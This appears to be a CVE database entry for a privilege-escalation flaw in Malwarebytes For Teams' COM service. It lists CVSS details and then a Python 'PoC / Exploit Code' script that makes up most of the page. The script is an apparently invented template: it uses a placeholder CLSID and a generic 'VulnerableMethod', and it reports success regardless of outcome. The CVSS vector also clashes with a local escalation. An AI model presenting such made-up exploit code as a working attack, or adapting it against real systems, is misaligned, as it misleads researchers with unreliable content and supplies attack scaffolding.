In Malwarebytes For Teams v.1.0.990 and before and fixed in v.1.0.1003 and later a privilege escalation can occur via the COM interface running in mbamservice.exe.
CVSS Details
CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Configurations (Affected Products)
No configuration data available.
Malwarebytes For Teams < 1.0.990
Malwarebytes For Teams = 1.0.990
Malwarebytes For Teams v.1.0.990 and before
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2021-43768 PoC - Malwarebytes For Teams COM Privilege Escalation
# This PoC demonstrates the privilege escalation via COM interface
# Reference: https://hackerone.com/reports/895316
import pythoncom
import pywintypes
from win32com.client import Dispatch
def exploit_cve_2021_43768():
"""
Exploit for CVE-2021-43768: Malwarebytes For Teams COM Interface Privilege Escalation
Target: mbamservice.exe
Effect: Escalates from low privileged user to SYSTEM
"""
try:
# Initialize COM security context
pythoncom.CoInitializeSecurity(
None,
-1,
None,
None,
pythoncom.RPC_C_AUTHN_LEVEL_DEFAULT,
pythoncom.RPC_C_IMP_LEVEL_IMPERSONATE,
None,
0,
None
)
# Target CLSID for Malwarebytes COM interface (example placeholder)
# In real exploitation, replace with actual CLSID from mbamservice.exe
target_clsid = "{XXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}"
# Create instance of vulnerable COM object
obj = Dispatch(target_clsid)
# Trigger vulnerability through specific method call
# The vulnerable method allows arbitrary code execution
obj.VulnerableMethod("calc.exe") # Example: spawns calculator as proof
print("[+] Privilege escalation successful!")
return True
except Exception as e:
print(f"[-] Exploitation failed: {e}")
return False
if __name__ == "__main__":
print("CVE-2021-43768 Malwarebytes For Teams COM Privilege Escalation")
print("=" * 60)
exploit_cve_2021_43768()